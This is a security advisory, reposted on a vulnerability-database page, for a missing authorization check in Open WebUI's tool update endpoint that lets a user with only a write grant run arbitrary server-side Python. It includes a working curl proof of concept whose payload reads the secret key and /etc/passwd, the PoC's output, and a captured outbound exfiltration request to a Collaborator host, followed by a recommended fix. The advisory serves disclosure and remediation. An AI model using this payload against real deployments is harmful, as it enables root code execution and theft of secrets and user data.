GHSA-P4FX-23FQ-JFG6

Vulnerability from github – Published: 2026-05-14 20:26 – Updated: 2026-05-15 23:55
VLAI
Summary
Open WebUI: Missing `workspace.tools` Authorization Check on Tool Update Endpoint Allows Privilege Escalation to Code Execution
Details

Summary

The tool update endpoint (POST /api/v1/tools/id/{id}/update) is missing the workspace.tools permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended workspace.tools security boundary.

Open WebUI's security policy correctly states that workspace.tools is the trust boundary for code execution: "Granting a user the ability to create Tools is equivalent to giving them shell access to the server." This vulnerability breaks that boundary. A write access grant on a single tool is sufficient to bypass workspace.tools entirely.

This is not a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a missing authorization check that allows an untrusted user to reach the exec() sink that should be gated behind workspace.tools.

Root Cause

The create and update endpoints for tools have asymmetric authorization checks. The create endpoint enforces the workspace.tools permission; the update endpoint does not.

Create endpoint, enforces workspace.tools

File: backend/open_webui/routers/tools.py, lines 326-345

@router.post('/create', response_model=Optional[ToolResponse])
async def create_new_tools(
    request: Request,
    form_data: ToolForm,
    user=Depends(get_verified_user),
    db: AsyncSession = Depends(get_async_session),
):
    if user.role != 'admin' and not (
        await has_permission(
            user.id, 'workspace.tools',                    # ← CHECKED
            request.app.state.config.USER_PERMISSIONS, db=db
        )
        or await has_permission(
            user.id, 'workspace.tools_import',             # ← CHECKED
            request.app.state.config.USER_PERMISSIONS, db=db
        )
    ):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=ERROR_MESSAGES.UNAUTHORIZED,
        )
    # ... proceeds to exec(content, ...) at line 367

Update endpoint does NOT enforce workspace.tools

File: backend/open_webui/routers/tools.py, lines 451-485

@router.post('/id/{id}/update', response_model=Optional[ToolModel])
async def update_tools_by_id(
    request: Request,
    id: str,
    form_data: ToolForm,
    user=Depends(get_verified_user),
    db: AsyncSession = Depends(get_async_session),
):
    tools = await Tools.get_tool_by_id(id, db=db)
    # ...

    if (
        tools.user_id != user.id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='tool',
            resource_id=tools.id,
            permission='write',                            # ← only checks write grant
            db=db,
        )
        and user.role != 'admin'
    ):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=ERROR_MESSAGES.UNAUTHORIZED,
        )
    # NOTE: No has_permission(user.id, 'workspace.tools', ...) check

    # ... proceeds to exec(content, ...) at line 485
    tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content)

The write access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a write grant allows editing metadata and content. On tools specifically, because the update endpoint triggers exec(), a write grant silently escalates to code execution but only because the workspace.tools check is missing. If the check were present (as it is on create), the write grant would not confer execution privilege.

Prerequisites

  1. Attacker (Bob): A regular user account with no workspace.tools permission. workspace.tools is disabled by default (config.py:1364-1366), so this is the default state for all non-admin users.
  2. Collaborator (Alice): A user with workspace.tools permission who creates a tool and grants write access to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights.
  3. No admin action required beyond the initial workspace.tools grant to Alice (which is the intended, documented workflow).

Note on default configuration: The workspace.tools permission defaults to false. An administrator must explicitly enable it for at least one user (Alice). This is a documented, recommended workflow the security policy explicitly describes granting workspace.tools to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it.

Proof of Concept

Environment

docker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main

Default configuration. Admin creates an account, enables workspace.tools for trusted users via Admin Panel > Settings > User Permissions.

Step-by-step reproduction

Step 1 Setup users

Create two non-admin users: Alice (trusted, will get workspace.tools) and Bob (untrusted, will NOT get workspace.tools).

ADMIN_TOKEN="<admin-jwt>"
BASE="http://localhost:3000"

# Create Alice
ALICE=$(curl -s -X POST "$BASE/api/v1/auths/add" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"alice","email":"alice@test.com","password":"alice123","role":"user"}')
ALICE_TOKEN=$(echo $ALICE | jq -r .token)
ALICE_ID=$(echo $ALICE | jq -r .id)

# Create Bob
BOB=$(curl -s -X POST "$BASE/api/v1/auths/add" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"bob","email":"bob@test.com","password":"bob12345","role":"user"}')
BOB_TOKEN=$(echo $BOB | jq -r .token)
BOB_ID=$(echo $BOB | jq -r .id)

Step 2 Admin enables workspace.tools globally

This is the documented workflow for allowing trusted users to build tools.

# Get current permissions
PERMS=$(curl -s "$BASE/api/v1/users/default/permissions" \
  -H "Authorization: Bearer $ADMIN_TOKEN")

# Enable workspace.tools
PERMS=$(echo $PERMS | jq '.workspace.tools = true')

curl -s -X POST "$BASE/api/v1/users/default/permissions" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "$PERMS"

Step 3 Alice creates a benign tool

curl -s -X POST "$BASE/api/v1/tools/create" \
  -H "Authorization: Bearer $ALICE_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "helper_tool",
    "name": "Helper Tool",
    "content": "class Tools:\n    def hello(self):\n        return \"Hello\"\n",
    "meta": {"description": "A benign helper", "manifest": {}}
  }'

Step 4 Alice grants write access to Bob (collaboration)

Alice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature.

curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \
  -H "Authorization: Bearer $ALICE_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"access_grants\": [
    {\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"}
  ]}"

Step 5 Admin disables workspace.tools

Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.

PERMS=$(echo $PERMS | jq '.workspace.tools = false')

curl -s -X POST "$BASE/api/v1/users/default/permissions" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "$PERMS"

Step 6 Verify Bob CANNOT create tools

curl -s -X POST "$BASE/api/v1/tools/create" \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "bob_test",
    "name": "Test",
    "content": "class Tools: pass",
    "meta": {"description": "test", "manifest": {}}
  }'
# Returns: HTTP 401  "401 Unauthorized"
# Bob correctly CANNOT create tools.

Step 7 Bob updates the tool content → code execution (the bypass)

Bob replaces the tool's Python content. The update endpoint does not check workspace.tools, only the write access grant. The new content is passed to exec().

curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/update" \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "helper_tool",
    "name": "Helper Tool",
    "content": "import os, sys, json, platform, asyncio\n\nproof = {\n    \"poc\": \"workspace.tools bypass via write grant\",\n    \"whoami\": os.popen(\"whoami\").read().strip(),\n    \"hostname\": os.popen(\"hostname\").read().strip(),\n    \"pid\": os.getpid(),\n    \"secret_key\": os.environ.get(\"WEBUI_SECRET_KEY\", \"\")[:16] + \"...\",\n}\ntry:\n    proof[\"etc_passwd\"] = open(\"/etc/passwd\").read()[:300]\nexcept: pass\n\ntry:\n    from open_webui.models.tools import Tools as ToolsModel\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(\n        ToolsModel.update_tool_by_id(\"helper_tool\", {\n            \"meta\": {\"description\": json.dumps(proof), \"manifest\": {}}\n        })\n    )\nexcept: pass\n\nclass Tools:\n    def __init__(self): pass\n",
    "meta": {"description": "A benign helper", "manifest": {}}
  }'
# Returns: HTTP 200  exec() ran. Bob achieved code execution.

Actual PoC Output

The following is a complete run of the automated PoC script:

Step 1: Creating user 'bob' with NO workspace.tools permission...
    Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f
    Bob's role: user (NO workspace.tools)

Step 2: Disabling workspace.tools globally...
    workspace.tools = false (globally)

Step 2b: Verifying bob CANNOT create tools (no permission)...
    POST /tools/create as bob: HTTP 401
    Correctly denied: 401 Unauthorized

Step 3: Re-enabling workspace.tools for attacker, creating benign tool...
    Tool 'poc_rce_2' created by attacker

Step 4: Attacker grants write access on poc_rce_2 to bob...
    Grant response: HTTP 200
    Bob now has write access on poc_rce_2

Step 5: Disabling workspace.tools globally again...
    workspace.tools = false (globally)

Step 6: Bob updates tool content with malicious Python...
    Bob has: write grant on poc_rce_2 ONLY
    Bob lacks: workspace.tools permission
    Endpoint: POST /api/v1/tools/id/poc_rce_2/update
    HTTP Status: 200
    Tool updated  exec() ran with bob's request!

Step 7: Reading exfiltrated proof from DB...

PRIVILEGE ESCALATION CONFIRMED:
{
  "poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
  "vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
  "whoami": "root",
  "hostname": "3ffa54b2792d",
  "cwd": "/app/backend",
  "python": "/usr/local/bin/python3",
  "pid": 1,
  "platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
  "secret_key": "9GDyak0KOfrakPTM...",
  "etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/va"
}

Burp Collaborator Evidence

image

The container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container:

POST /poc2 HTTP/1.1
Accept-Encoding: identity
Content-Length: 720
Host: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com
User-Agent: Python-urllib/3.11
Content-Type: application/json
Connection: close

{"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
 "vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
 "whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend",
 "python": "/usr/local/bin/python3", "pid": 1,
 "platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
 "secret_key": "9GDyak0KOfrakPTM...",
 "etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}

Security Boundary Violated

Open WebUI's security policy defines workspace.tools as the trust boundary for code execution:

"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server."

This vulnerability breaks that boundary:

Check Create endpoint (line 333) Update endpoint (line 467)
user.role == 'admin' Yes Yes
has_permission('workspace.tools') Yes No
has_permission('workspace.tools_import') Yes No
AccessGrants.has_access('write') No Yes
tools.user_id == user.id No (new tool) Yes

The update endpoint substitutes AccessGrants.has_access('write') where has_permission('workspace.tools') should be. A write grant is a collaboration primitive for editing content; workspace.tools is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them.

Impact

An attacker with a regular user account and a write access grant on any single tool can:

  • Execute arbitrary server-side code as root (PID 1 in the default Docker deployment)
  • Read sensitive environment variables (WEBUI_SECRET_KEY, OPENAI_API_KEY, etc.)
  • Read/write the application database (all users' chats, files, API keys)
  • Read arbitrary files from the container filesystem
  • Make outbound network requests to internal services

The attacker never needs workspace.tools permission. The administrator's explicit decision to deny this user code execution capability is bypassed.

Remediation

Recommended Fix

Add the workspace.tools permission check to the update endpoint, matching the create endpoint's authorization gate:

File: backend/open_webui/routers/tools.py, after line 481 (after the existing access check)

# Add workspace.tools check for content changes (code execution)
if form_data.content != tools.content:
    if user.role != 'admin' and not (
        await has_permission(
            user.id, 'workspace.tools',
            request.app.state.config.USER_PERMISSIONS, db=db
        )
        or await has_permission(
            user.id, 'workspace.tools_import',
            request.app.state.config.USER_PERMISSIONS, db=db
        )
    ):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=ERROR_MESSAGES.UNAUTHORIZED,
        )

This allows users with write grants to update tool metadata (name, description, valves) without workspace.tools, but requires the permission for content changes that trigger code execution.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:26:09Z",
    "nvd_published_at": "2026-05-15T21:16:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe tool update endpoint (`POST /api/v1/tools/id/{id}/update`) is missing the `workspace.tools` permission check that is present on the tool create endpoint. This allows a user who has been explicitly **denied** tool management capabilities ( and who the administrator considers **untrusted** for code execution )  to replace a tool\u0027s server-side Python content and trigger execution, bypassing the intended `workspace.tools` security boundary.\n\nOpen WebUI\u0027s security policy correctly states that `workspace.tools` is the trust boundary for code execution: *\"Granting a user the ability to create Tools is equivalent to giving them shell access to the server.\"* This vulnerability breaks that boundary. A `write` access grant on a single tool is sufficient to bypass `workspace.tools` entirely.\n\nThis is **not** a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a **missing authorization check** that allows an untrusted user to reach the exec() sink that should be gated behind `workspace.tools`.\n\n### Root Cause\n\nThe create and update endpoints for tools have **asymmetric authorization checks**. The create endpoint enforces the `workspace.tools` permission; the update endpoint does not.\n\n#### Create endpoint, enforces `workspace.tools`\n\n**File**: `backend/open_webui/routers/tools.py`, lines 326-345\n\n```python\n@router.post(\u0027/create\u0027, response_model=Optional[ToolResponse])\nasync def create_new_tools(\n    request: Request,\n    form_data: ToolForm,\n    user=Depends(get_verified_user),\n    db: AsyncSession = Depends(get_async_session),\n):\n    if user.role != \u0027admin\u0027 and not (\n        await has_permission(\n            user.id, \u0027workspace.tools\u0027,                    # \u2190 CHECKED\n            request.app.state.config.USER_PERMISSIONS, db=db\n        )\n        or await has_permission(\n            user.id, \u0027workspace.tools_import\u0027,             # \u2190 CHECKED\n            request.app.state.config.USER_PERMISSIONS, db=db\n        )\n    ):\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=ERROR_MESSAGES.UNAUTHORIZED,\n        )\n    # ... proceeds to exec(content, ...) at line 367\n```\n\n#### Update endpoint  does NOT enforce `workspace.tools`\n\n**File**: `backend/open_webui/routers/tools.py`, lines 451-485\n\n```python\n@router.post(\u0027/id/{id}/update\u0027, response_model=Optional[ToolModel])\nasync def update_tools_by_id(\n    request: Request,\n    id: str,\n    form_data: ToolForm,\n    user=Depends(get_verified_user),\n    db: AsyncSession = Depends(get_async_session),\n):\n    tools = await Tools.get_tool_by_id(id, db=db)\n    # ...\n\n    if (\n        tools.user_id != user.id\n        and not await AccessGrants.has_access(\n            user_id=user.id,\n            resource_type=\u0027tool\u0027,\n            resource_id=tools.id,\n            permission=\u0027write\u0027,                            # \u2190 only checks write grant\n            db=db,\n        )\n        and user.role != \u0027admin\u0027\n    ):\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=ERROR_MESSAGES.UNAUTHORIZED,\n        )\n    # NOTE: No has_permission(user.id, \u0027workspace.tools\u0027, ...) check\n\n    # ... proceeds to exec(content, ...) at line 485\n    tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content)\n```\n\nThe `write` access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a `write` grant allows editing metadata and content. On tools specifically, because the update endpoint triggers `exec()`, a `write` grant silently escalates to code execution but **only because the `workspace.tools` check is missing**. If the check were present (as it is on create), the `write` grant would not confer execution privilege.\n\n### Prerequisites\n\n1. **Attacker (Bob)**: A regular user account with **no** `workspace.tools` permission. `workspace.tools` is disabled by default (`config.py:1364-1366`), so this is the **default state** for all non-admin users.\n2. **Collaborator (Alice)**: A user with `workspace.tools` permission who creates a tool and grants `write` access to Bob. This is a normal collaboration workflow  Alice is sharing editing access, not granting code execution rights.\n3. No admin action required beyond the initial `workspace.tools` grant to Alice (which is the intended, documented workflow).\n\n**Note on default configuration**: The `workspace.tools` permission defaults to `false`. An administrator must explicitly enable it for at least one user (Alice). This is a **documented, recommended workflow**  the security policy explicitly describes granting `workspace.tools` to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it.\n\n## Proof of Concept\n\n### Environment\n\n```bash\ndocker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main\n```\n\nDefault configuration. Admin creates an account, enables `workspace.tools` for trusted users via Admin Panel \u003e Settings \u003e User Permissions.\n\n### Step-by-step reproduction\n\n**Step 1  Setup users**\n\nCreate two non-admin users: Alice (trusted, will get `workspace.tools`) and Bob (untrusted, will NOT get `workspace.tools`).\n\n```bash\nADMIN_TOKEN=\"\u003cadmin-jwt\u003e\"\nBASE=\"http://localhost:3000\"\n\n# Create Alice\nALICE=$(curl -s -X POST \"$BASE/api/v1/auths/add\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"alice\",\"email\":\"alice@test.com\",\"password\":\"alice123\",\"role\":\"user\"}\u0027)\nALICE_TOKEN=$(echo $ALICE | jq -r .token)\nALICE_ID=$(echo $ALICE | jq -r .id)\n\n# Create Bob\nBOB=$(curl -s -X POST \"$BASE/api/v1/auths/add\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"bob\",\"email\":\"bob@test.com\",\"password\":\"bob12345\",\"role\":\"user\"}\u0027)\nBOB_TOKEN=$(echo $BOB | jq -r .token)\nBOB_ID=$(echo $BOB | jq -r .id)\n```\n\n**Step 2  Admin enables `workspace.tools` globally**\n\nThis is the documented workflow for allowing trusted users to build tools.\n\n```bash\n# Get current permissions\nPERMS=$(curl -s \"$BASE/api/v1/users/default/permissions\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\")\n\n# Enable workspace.tools\nPERMS=$(echo $PERMS | jq \u0027.workspace.tools = true\u0027)\n\ncurl -s -X POST \"$BASE/api/v1/users/default/permissions\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"$PERMS\"\n```\n\n**Step 3  Alice creates a benign tool**\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/create\" \\\n  -H \"Authorization: Bearer $ALICE_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"id\": \"helper_tool\",\n    \"name\": \"Helper Tool\",\n    \"content\": \"class Tools:\\n    def hello(self):\\n        return \\\"Hello\\\"\\n\",\n    \"meta\": {\"description\": \"A benign helper\", \"manifest\": {}}\n  }\u0027\n```\n\n**Step 4  Alice grants write access to Bob (collaboration)**\n\nAlice wants Bob to be able to edit the tool\u0027s description or parameters. This is a standard collaboration feature.\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/id/helper_tool/access/update\" \\\n  -H \"Authorization: Bearer $ALICE_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"access_grants\\\": [\n    {\\\"principal_type\\\": \\\"user\\\", \\\"principal_id\\\": \\\"$BOB_ID\\\", \\\"permission\\\": \\\"write\\\"}\n  ]}\"\n```\n\n**Step 5  Admin disables `workspace.tools`**\n\nAdmin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.\n\n```bash\nPERMS=$(echo $PERMS | jq \u0027.workspace.tools = false\u0027)\n\ncurl -s -X POST \"$BASE/api/v1/users/default/permissions\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"$PERMS\"\n```\n\n**Step 6  Verify Bob CANNOT create tools**\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/create\" \\\n  -H \"Authorization: Bearer $BOB_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"id\": \"bob_test\",\n    \"name\": \"Test\",\n    \"content\": \"class Tools: pass\",\n    \"meta\": {\"description\": \"test\", \"manifest\": {}}\n  }\u0027\n# Returns: HTTP 401  \"401 Unauthorized\"\n# Bob correctly CANNOT create tools.\n```\n\n**Step 7  Bob updates the tool content \u2192 code execution (the bypass)**\n\nBob replaces the tool\u0027s Python content. The update endpoint does not check `workspace.tools`, only the `write` access grant. The new content is passed to `exec()`.\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/id/helper_tool/update\" \\\n  -H \"Authorization: Bearer $BOB_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"id\": \"helper_tool\",\n    \"name\": \"Helper Tool\",\n    \"content\": \"import os, sys, json, platform, asyncio\\n\\nproof = {\\n    \\\"poc\\\": \\\"workspace.tools bypass via write grant\\\",\\n    \\\"whoami\\\": os.popen(\\\"whoami\\\").read().strip(),\\n    \\\"hostname\\\": os.popen(\\\"hostname\\\").read().strip(),\\n    \\\"pid\\\": os.getpid(),\\n    \\\"secret_key\\\": os.environ.get(\\\"WEBUI_SECRET_KEY\\\", \\\"\\\")[:16] + \\\"...\\\",\\n}\\ntry:\\n    proof[\\\"etc_passwd\\\"] = open(\\\"/etc/passwd\\\").read()[:300]\\nexcept: pass\\n\\ntry:\\n    from open_webui.models.tools import Tools as ToolsModel\\n    loop = asyncio.get_event_loop()\\n    loop.run_until_complete(\\n        ToolsModel.update_tool_by_id(\\\"helper_tool\\\", {\\n            \\\"meta\\\": {\\\"description\\\": json.dumps(proof), \\\"manifest\\\": {}}\\n        })\\n    )\\nexcept: pass\\n\\nclass Tools:\\n    def __init__(self): pass\\n\",\n    \"meta\": {\"description\": \"A benign helper\", \"manifest\": {}}\n  }\u0027\n# Returns: HTTP 200  exec() ran. Bob achieved code execution.\n```\n\n### Actual PoC Output\n\nThe following is a complete run of the automated PoC script:\n\n```\nStep 1: Creating user \u0027bob\u0027 with NO workspace.tools permission...\n    Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f\n    Bob\u0027s role: user (NO workspace.tools)\n\nStep 2: Disabling workspace.tools globally...\n    workspace.tools = false (globally)\n\nStep 2b: Verifying bob CANNOT create tools (no permission)...\n    POST /tools/create as bob: HTTP 401\n    Correctly denied: 401 Unauthorized\n\nStep 3: Re-enabling workspace.tools for attacker, creating benign tool...\n    Tool \u0027poc_rce_2\u0027 created by attacker\n\nStep 4: Attacker grants write access on poc_rce_2 to bob...\n    Grant response: HTTP 200\n    Bob now has write access on poc_rce_2\n\nStep 5: Disabling workspace.tools globally again...\n    workspace.tools = false (globally)\n\nStep 6: Bob updates tool content with malicious Python...\n    Bob has: write grant on poc_rce_2 ONLY\n    Bob lacks: workspace.tools permission\n    Endpoint: POST /api/v1/tools/id/poc_rce_2/update\n    HTTP Status: 200\n    Tool updated  exec() ran with bob\u0027s request!\n\nStep 7: Reading exfiltrated proof from DB...\n\nPRIVILEGE ESCALATION CONFIRMED:\n{\n  \"poc\": \"Privilege Escalation: write-grant on tool -\u003e RCE (no workspace.tools needed)\",\n  \"vuln\": \"tools.py:467-481 update endpoint has NO workspace.tools check\",\n  \"whoami\": \"root\",\n  \"hostname\": \"3ffa54b2792d\",\n  \"cwd\": \"/app/backend\",\n  \"python\": \"/usr/local/bin/python3\",\n  \"pid\": 1,\n  \"platform\": \"Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36\",\n  \"secret_key\": \"9GDyak0KOfrakPTM...\",\n  \"etc_passwd_head\": \"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/va\"\n}\n```\n\n### Burp Collaborator Evidence\n\n\u003cimg width=\"1198\" height=\"555\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f643d26b-47eb-49b8-8178-7348ee57afe3\" /\u003e\n\n\nThe container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container:\n\n```http\nPOST /poc2 HTTP/1.1\nAccept-Encoding: identity\nContent-Length: 720\nHost: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com\nUser-Agent: Python-urllib/3.11\nContent-Type: application/json\nConnection: close\n\n{\"poc\": \"Privilege Escalation: write-grant on tool -\u003e RCE (no workspace.tools needed)\",\n \"vuln\": \"tools.py:467-481 update endpoint has NO workspace.tools check\",\n \"whoami\": \"root\", \"hostname\": \"3ffa54b2792d\", \"cwd\": \"/app/backend\",\n \"python\": \"/usr/local/bin/python3\", \"pid\": 1,\n \"platform\": \"Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36\",\n \"secret_key\": \"9GDyak0KOfrakPTM...\",\n \"etc_passwd_head\": \"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:...\"}\n```\n\n## Security Boundary Violated\n\nOpen WebUI\u0027s security policy defines `workspace.tools` as the trust boundary for code execution:\n\n\u003e *\"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server.\"*\n\nThis vulnerability breaks that boundary:\n\n| Check | Create endpoint (line 333) | Update endpoint (line 467) |\n|-------|---------------------------|---------------------------|\n| `user.role == \u0027admin\u0027` | Yes | Yes |\n| `has_permission(\u0027workspace.tools\u0027)` | **Yes** | **No** |\n| `has_permission(\u0027workspace.tools_import\u0027)` | **Yes** | **No** |\n| `AccessGrants.has_access(\u0027write\u0027)` | No | Yes |\n| `tools.user_id == user.id` | No (new tool) | Yes |\n\nThe update endpoint substitutes `AccessGrants.has_access(\u0027write\u0027)` where `has_permission(\u0027workspace.tools\u0027)` should be. A `write` grant is a collaboration primitive for editing content; `workspace.tools` is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them.\n\n## Impact\n\nAn attacker with a regular user account and a `write` access grant on any single tool can:\n\n- Execute arbitrary server-side code as root (PID 1 in the default Docker deployment)\n- Read sensitive environment variables (`WEBUI_SECRET_KEY`, `OPENAI_API_KEY`, etc.)\n- Read/write the application database (all users\u0027 chats, files, API keys)\n- Read arbitrary files from the container filesystem\n- Make outbound network requests to internal services\n\nThe attacker **never** needs `workspace.tools` permission. The administrator\u0027s explicit decision to deny this user code execution capability is bypassed.\n\n## Remediation\n\n### Recommended Fix\n\nAdd the `workspace.tools` permission check to the update endpoint, matching the create endpoint\u0027s authorization gate:\n\n**File**: `backend/open_webui/routers/tools.py`, after line 481 (after the existing access check)\n\n```python\n# Add workspace.tools check for content changes (code execution)\nif form_data.content != tools.content:\n    if user.role != \u0027admin\u0027 and not (\n        await has_permission(\n            user.id, \u0027workspace.tools\u0027,\n            request.app.state.config.USER_PERMISSIONS, db=db\n        )\n        or await has_permission(\n            user.id, \u0027workspace.tools_import\u0027,\n            request.app.state.config.USER_PERMISSIONS, db=db\n        )\n    ):\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=ERROR_MESSAGES.UNAUTHORIZED,\n        )\n```\n\nThis allows users with `write` grants to update tool metadata (name, description, valves) without `workspace.tools`, but requires the permission for content changes that trigger code execution.",
  "id": "GHSA-p4fx-23fq-jfg6",
  "modified": "2026-05-15T23:55:10Z",
  "published": "2026-05-14T20:26:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p4fx-23fq-jfg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45395"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Missing `workspace.tools` Authorization Check on Tool Update Endpoint Allows Privilege Escalation to Code Execution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.